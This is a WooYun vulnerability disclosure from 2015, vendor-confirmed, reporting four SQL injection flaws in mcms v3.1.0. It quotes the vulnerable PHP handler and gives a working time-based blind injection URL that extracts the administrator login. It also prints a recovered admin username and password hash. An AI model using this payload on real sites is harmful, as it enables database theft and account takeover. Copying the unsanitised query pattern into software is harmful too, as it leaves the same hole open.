当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107215

漏洞标题:mcms最新版SQL注入4枚

相关厂商:mcms.cc

漏洞作者: 路人甲

提交时间:2015-04-14 16:33

修复时间:2015-07-14 16:28

公开时间:2015-07-14 16:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-15: 厂商已经确认,细节仅向厂商公开
2015-04-18: 细节向第三方安全合作伙伴开放
2015-06-09: 细节向核心白帽子及相关领域专家公开
2015-06-19: 细节向普通白帽子公开
2015-06-29: 细节向实习白帽子公开
2015-07-14: 细节向公众公开

简要描述:

mcms最新版SQL注入4枚

详细说明:

在wooyun上看到掌易科技终于不再忽略漏洞了,我也来凑凑热闹吧。去下了mcms的最新版(v_3.1.0.enterprise),来研究研究。
注入一枚:POST /app/public/model.php?tpl=data&model_name=adv&stype=1&skey=title&sval=test&p=1(注意public文件夹是安装系统时取的名字)post中有多个参数,都存在过滤不严的问题。
当tpl为attr时,model_name存在注入,当 tpl为data时,skey、sval、p都存在注入,此时,model_name可以是网站里的所有表,这里最少存在4个注入点。我们看看是如何注入的。
这里以表mcms_adv的sval为例进行说明。

function m__list(){
global $dbm,$result,$C,$tpl,$model_name,$p;
$model_name=isset($_GET['model_name'])?trim($_GET['model_name']):'';

if($tpl=='attr') {
$sql = "select * from " . TB_PRE . "model where model_name='$model_name'";
$rs = $dbm->query($sql);
if (count($rs['list']) == 0) H::error_show('{"code":1,"msg":"模型不存在"}');
$sql = "select * from " . TB_PRE . "model_fields where model_name='$model_name' order by forder asc";
$rs = $dbm->query($sql);
$result['list'] = $rs['list'];
}elseif($tpl=='data') {
if(!$C->model_table_exists($model_name)) H::error_show('{"code":1,"msg":"模型表不存在"}');
$_GET['stype']=isset($_GET['stype'])?intval($_GET['stype']):1;//精确OR模糊,0=模糊,1=精确
$_GET['skey']=isset($_GET['skey'])?trim($_GET['skey']):'';
$_GET['sval']=isset($_GET['sval'])?trim($_GET['sval']):'';
if($_GET['skey']!='') {
if ($_GET['stype'] == 0) {
$params['where']=$_GET['skey']." like '%".$_GET['sval']."%'";
} else {
$params['where']=$_GET['skey']."='".$_GET['sval']."'";
}
}
$params['table_name'] = TB_PRE . "$model_name";
$params['count'] = 1;
$params['suffix'] = " order by " . $model_name . "_id desc ";
$params['pagesize'] = get_pagesize(PAGESIZE_ADMIN);
$params['suffix'] .= $dbm->get_limit_sql($params['pagesize'], $p);
$result = $dbm->single_query($params);
foreach($result['list'] as $k=>$v){//print_r($v);
//日期特殊处理
foreach($v as $k1=>$v1){
$tmp_fields=$C->model[$model_name]['fields'];
if(isset($tmp_fields[$k1]) && $tmp_fields[$k1]['form_type']=='date'){ //print_r($v1);
$result['list'][$k][$k1]=date('Y-m-d',$v[$k1]);
}
}
}
//print_r($result);die();
}elseif($tpl=='data.edit'){
if(!$C->model_table_exists($model_name)) H::error_show('{"code":1,"msg":"模型表不存在"}');
$id=isset($_GET['id'])?intval($_GET['id']):0;
if($id>0){
$rs=$dbm->query("select * from ".TB_PRE.$model_name." where ".$model_name."_id='$id' limit 1");//print_r($rs);
$result=array($model_name.'_id'=>0);
if(count($rs['list'])==1) $result=$rs['list'][0];
}else{
$result=array($model_name.'_id'=>0);
}
}else{
$sql="select * from ".TB_PRE."model order by model_type asc";
$rs=$dbm->query($sql);
$result['list']=$rs['list'];
foreach($result['list'] as $k=>$v){
$result['list'][$k]['total']='<font color=red>未建表</font>';
$has=$C->model_table_exists($v['model_name']);//var_dump($has);
if($has){//表存在,查询数据总数
$sql="select count(*) as t from ".TB_PRE.$v['model_name'];//echo($sql);
$rs=$dbm->scalar($sql);
$result['list'][$k]['total']=$rs['t'];
}
}
}
}


由于该cms没有使用自定义的sqlxss()过滤,存在注入。
Payload:GET提交

/app/public/model.php?tpl=data&model_name=adv&stype=1&skey=title&sval='/**/or(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))%23&p=1


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图

错误副本.jpg


若正确,延迟,如下图

成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

sqlxss()

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-15 16:27

厂商回复:

谢谢

最新状态:

暂无